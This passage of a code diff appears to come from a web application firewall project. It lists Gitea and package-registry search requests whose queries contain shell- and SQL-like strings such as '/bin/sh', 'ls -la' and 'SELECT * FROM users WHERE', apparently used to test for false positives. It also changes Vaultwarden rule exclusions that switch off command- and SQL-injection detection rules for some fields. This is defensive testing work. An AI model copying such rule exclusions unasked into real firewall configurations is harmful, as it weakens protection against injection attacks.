||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc
|
|
||||||
/alice/tools/tags?q=docker-compose.yml
|
|
||||||
/alice/tools/milestones?state=open&q=docker-compose.yml
|
|
||||||
/alice/tools/milestone/1?q=docker-compose.yml
|
|
||||||
/alice/tools/projects?state=open&q=docker-compose.yml
|
|
||||||
/alice/tools/packages?q=docker-compose.yml&type=
|
|
||||||
/alice/tools/issues/posters?q=docker-compose.yml
|
|
||||||
/alice/tools/pulls/posters?q=docker-compose.yml
|
|
||||||
/alice/tools/issues/search?q=docker-compose.yml
|
|
||||||
/alice/tools/issues/suggestions?q=docker-compose.yml
|
|
||||||
/-/admin/actions/runners?q=docker-compose.yml
|
|
||||||
/user/settings/actions/runners?q=docker-compose.yml
|
|
||||||
/org/acme/settings/actions/runners?q=docker-compose.yml
|
|
||||||
/alice/tools/settings/actions/runners?q=docker-compose.yml
|
|
||||||
/-/admin/users?q=docker-compose.yml
|
|
||||||
/-/admin/orgs?q=docker-compose.yml
|
|
||||||
/-/admin/repos?q=docker-compose.yml&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=docker-compose.yml
|
|
||||||
/-/admin/emails?q=docker-compose.yml
|
|
||||||
/-/admin/packages?q=docker-compose.yml&type=
|
|
||||||
/explore/topics/search?q=install-script.sh
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh
|
|
||||||
/issues/search?q=install-script.sh
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=install-script.sh
|
|
||||||
/notifications/watching?q=install-script.sh&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh
|
|
||||||
/org/acme/teams/-/search?q=install-script.sh
|
|
||||||
/acme?q=install-script.sh&sort=recentupdate
|
|
||||||
/alice/-/code?q=install-script.sh&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=install-script.sh
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc
|
|
||||||
/alice/tools/tags?q=install-script.sh
|
|
||||||
/alice/tools/milestones?state=open&q=install-script.sh
|
|
||||||
/alice/tools/milestone/1?q=install-script.sh
|
|
||||||
/alice/tools/projects?state=open&q=install-script.sh
|
|
||||||
/alice/tools/packages?q=install-script.sh&type=
|
|
||||||
/alice/tools/issues/posters?q=install-script.sh
|
|
||||||
/alice/tools/pulls/posters?q=install-script.sh
|
|
||||||
/alice/tools/issues/search?q=install-script.sh
|
|
||||||
/alice/tools/issues/suggestions?q=install-script.sh
|
|
||||||
/-/admin/actions/runners?q=install-script.sh
|
|
||||||
/user/settings/actions/runners?q=install-script.sh
|
|
||||||
/org/acme/settings/actions/runners?q=install-script.sh
|
|
||||||
/alice/tools/settings/actions/runners?q=install-script.sh
|
|
||||||
/-/admin/users?q=install-script.sh
|
|
||||||
/-/admin/orgs?q=install-script.sh
|
|
||||||
/-/admin/repos?q=install-script.sh&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=install-script.sh
|
|
||||||
/-/admin/emails?q=install-script.sh
|
|
||||||
/-/admin/packages?q=install-script.sh&type=
|
|
||||||
/explore/topics/search?q=release%20notes
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes
|
|
||||||
/issues/search?q=release%20notes
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=release%20notes
|
|
||||||
/notifications/watching?q=release%20notes&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes
|
|
||||||
/org/acme/teams/-/search?q=release%20notes
|
|
||||||
/acme?q=release%20notes&sort=recentupdate
|
|
||||||
/alice/-/code?q=release%20notes&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=release%20notes
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc
|
|
||||||
/alice/tools/tags?q=release%20notes
|
|
||||||
/alice/tools/milestones?state=open&q=release%20notes
|
|
||||||
/alice/tools/milestone/1?q=release%20notes
|
|
||||||
/alice/tools/projects?state=open&q=release%20notes
|
|
||||||
/alice/tools/packages?q=release%20notes&type=
|
|
||||||
/alice/tools/issues/posters?q=release%20notes
|
|
||||||
/alice/tools/pulls/posters?q=release%20notes
|
|
||||||
/alice/tools/issues/search?q=release%20notes
|
|
||||||
/alice/tools/issues/suggestions?q=release%20notes
|
|
||||||
/-/admin/actions/runners?q=release%20notes
|
|
||||||
/user/settings/actions/runners?q=release%20notes
|
|
||||||
/org/acme/settings/actions/runners?q=release%20notes
|
|
||||||
/alice/tools/settings/actions/runners?q=release%20notes
|
|
||||||
/-/admin/users?q=release%20notes
|
|
||||||
/-/admin/orgs?q=release%20notes
|
|
||||||
/-/admin/repos?q=release%20notes&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=release%20notes
|
|
||||||
/-/admin/emails?q=release%20notes
|
|
||||||
/-/admin/packages?q=release%20notes&type=
|
|
||||||
/alice/tools/tags?q=%2Fbin%2Fsh
|
|
||||||
/alice/tools/packages?q=%2Fbin%2Fsh&type=
|
|
||||||
/-/admin/packages?q=%2Fbin%2Fsh&type=
|
|
||||||
/alice/tools/packages?q=org.apache.commons.logging&type=
|
|
||||||
/-/admin/packages?q=org.apache.commons.logging&type=
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
|
||||||
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
|
||||||
|
|
||||||
# The API's searches that gitea and Forgejo share, sent with curl to gitea
|
|
||||||
# 1.27.3. Each searches for words that name commands and files, such as python3
|
|
||||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
|
||||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
|
||||||
# search of unadopted repositories takes an owner and a name.
|
|
||||||
/api/v1/repos/search?q=python3&limit=10
|
|
||||||
/api/v1/repos/search?q=powershell&limit=10
|
|
||||||
/api/v1/repos/search?q=ls%20-la&limit=10
|
|
||||||
/api/v1/repos/search?q=.htaccess&limit=10
|
|
||||||
/api/v1/repos/search?q=docker-compose.yml&limit=10
|
|
||||||
/api/v1/repos/search?q=tools&limit=10
|
|
||||||
/api/v1/users/search?q=python3
|
|
||||||
/api/v1/users/search?q=powershell
|
|
||||||
/api/v1/users/search?q=ls%20-la
|
|
||||||
/api/v1/users/search?q=.htaccess
|
|
||||||
/api/v1/users/search?q=bob
|
|
||||||
/api/v1/repos/issues/search?q=python3&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=build&type=issues&state=open
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=python3
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=powershell
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
|
|
||||||
/api/v1/packages/alice?q=python3
|
|
||||||
/api/v1/packages/alice?q=powershell
|
|
||||||
/api/v1/packages/alice?q=ls%20-la
|
|
||||||
/api/v1/packages/alice?q=.htaccess
|
|
||||||
/api/v1/packages/alice?q=%2Fbin%2Fsh
|
|
||||||
/api/v1/packages/alice?q=install-script
|
|
||||||
/api/v1/packages/alice?q=%40alice%2Ftools-cli
|
|
||||||
/api/v1/topics/search?q=python3
|
|
||||||
/api/v1/topics/search?q=powershell
|
|
||||||
/api/v1/topics/search?q=ls%20-la
|
|
||||||
/api/v1/topics/search?q=.htaccess
|
|
||||||
/api/v1/topics/search?q=docker
|
|
||||||
/api/v1/orgs/acme/teams/search?q=python3
|
|
||||||
/api/v1/orgs/acme/teams/search?q=powershell
|
|
||||||
/api/v1/orgs/acme/teams/search?q=ls%20-la
|
|
||||||
/api/v1/orgs/acme/teams/search?q=.htaccess
|
|
||||||
/api/v1/orgs/acme/teams/search?q=developers
|
|
||||||
/api/v1/admin/emails/search?q=python3
|
|
||||||
/api/v1/admin/emails/search?q=powershell
|
|
||||||
/api/v1/admin/emails/search?q=ls%20-la
|
|
||||||
/api/v1/admin/emails/search?q=.htaccess
|
|
||||||
/api/v1/admin/emails/search?q=alice
|
|
||||||
/api/v1/admin/unadopted?query=python3
|
|
||||||
/api/v1/admin/unadopted?query=powershell
|
|
||||||
/api/v1/admin/unadopted?query=ls%20-la
|
|
||||||
/api/v1/admin/unadopted?query=.htaccess
|
|
||||||
/api/v1/admin/unadopted?query=alice%2Fpython3-app
|
|
||||||
/api/v1/admin/unadopted?query=alice%2Flegacy-site
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=python3
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
|
|
||||||
|
|
||||||
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
|
|
||||||
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
|
|
||||||
# requests no client sends: the Chef cookbook list with a search, and NuGet's
|
|
||||||
# Packages() with the search in $filter, as NuGet's client builds it for a feed
|
|
||||||
# without Search(). curl also sent each NuGet Search() and Packages() search to
|
|
||||||
# Search()/$count and Packages()/$count, which count its results. Each searches
|
|
||||||
# for words that name commands and files, such as python3 and .htaccess, and
|
|
||||||
# for plain words. A Composer, Conan or npm name can hold a slash, so those
|
|
||||||
# searches are also sent /bin/sh.
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
|
|
||||||
/api/packages/alice/composer/search.json?q=python3&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=powershell&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=ls+-la&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=.htaccess&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=tools&type=
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=python3
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=powershell
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=ls+-la
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=.htaccess
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=tools
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=python3
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=powershell
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=ls+-la
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=.htaccess
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=tools
|
|
||||||
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
|
||||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||||
# field of a body applies only when the query has no parameter of that name, so
|
# field of a body applies only when the query has no parameter of that name, so
|
||||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
#
|
#
|
||||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||||
# folders, collections and sends before they send them. These values pass
|
# folders, collections and sends before they send them. These values pass
|
||||||
@@ -17,14 +17,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
|
|
||||||
# sets it while SWW_WAF_APPS is unset, or lists vaultwarden for the request's
|
|
||||||
# hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_vaultwarden itself.
|
|
||||||
SecRule &TX:app_vaultwarden "@eq 0" \
|
|
||||||
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
|
||||||
|
|
||||||
# Names and password hints, in JSON bodies, skip the four rules:
|
# Names and password hints, in JSON bodies, skip the four rules:
|
||||||
# name: signing up, editing the account's profile, and creating or renaming
|
# name: signing up, editing the account's profile, and creating or renaming
|
||||||
# an organization or a group, "python3 .htaccess team"
|
# an organization or a group, "python3 .htaccess team"
|
||||||
@@ -132,5 +124,3 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
|||||||
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||||
|
|
||||||
SecMarker END_VAULTWARDEN
|
|
||||||
@@ -9,11 +9,9 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const vaultwardenThreshold = 5
|
const vaultwardenThreshold = 5
|
||||||
|
|
||||||
// Paths of Vaultwarden's API and admin page.
|
// Paths of Vaultwarden's API and admin page.
|
||||||
@@ -31,23 +29,6 @@ const (
|
|||||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||||
|
|
||||||
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
